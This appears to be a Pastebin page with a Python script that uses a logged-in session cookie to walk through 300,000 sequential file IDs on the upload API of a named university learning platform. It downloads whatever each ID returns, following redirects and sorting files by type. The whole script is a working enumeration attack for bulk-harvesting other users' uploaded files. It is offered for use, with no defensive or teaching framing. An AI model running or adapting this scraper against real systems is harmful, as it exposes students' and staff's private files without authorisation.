Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- from bs4 import BeautifulSoup
- import re
- import urllib.parse
- Cookie = 'ๅกซ่ชๅทฑ็'
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36',
- 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
- 'Accept-Encoding':'gzip, deflate',
- 'Connection': 'keep-alive',
- 'Cookie': Cookie
- }
- def fetch(url):
- session = requests.Session()
- respone = session.get(
- url,
- headers=headers,
- allow_redirects=False
- )
- return respone
- url_front = 'http://iclass.tku.edu.tw/api/uploads/'
- url_end = '/blob?preview=true'
- start = 0
- def download(resp, file_name):
- filetype = file_name.split('.')[1]
- try:
- with open('./download/'+filetype+'/'+file_name, "wb") as file:
- file.write(resp.content)
- except (RuntimeError, TypeError, NameError, ValueError, KeyError, FileNotFoundError):
- with open('./download/other/'+file_name, "wb+") as file:
- file.write(resp.content)
- for number in range(start, start+300000):
- resp = fetch(url_front+str(number)+url_end)
- # print(resp.status_code)
- if resp.status_code != 404:
- if resp.status_code == 302:
- try:
- url = resp.headers['Location']
- filename = urllib.parse.unquote(re.split(r"=", url)[-1])
- resp = fetch(url)
- download(resp, filename)
- print('[Success]', number, "file: "+filename)
- except:
- print('[Failed]', number)
- elif resp.status_code == 200:
- try:
- filename = str(number)+".png"
- download(resp, filename)
- print('[Success]', number, "file: "+filename)
- except:
- print('[Failed]', number)
- elif(number%500) == 0:
- print('[Failed]', number)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement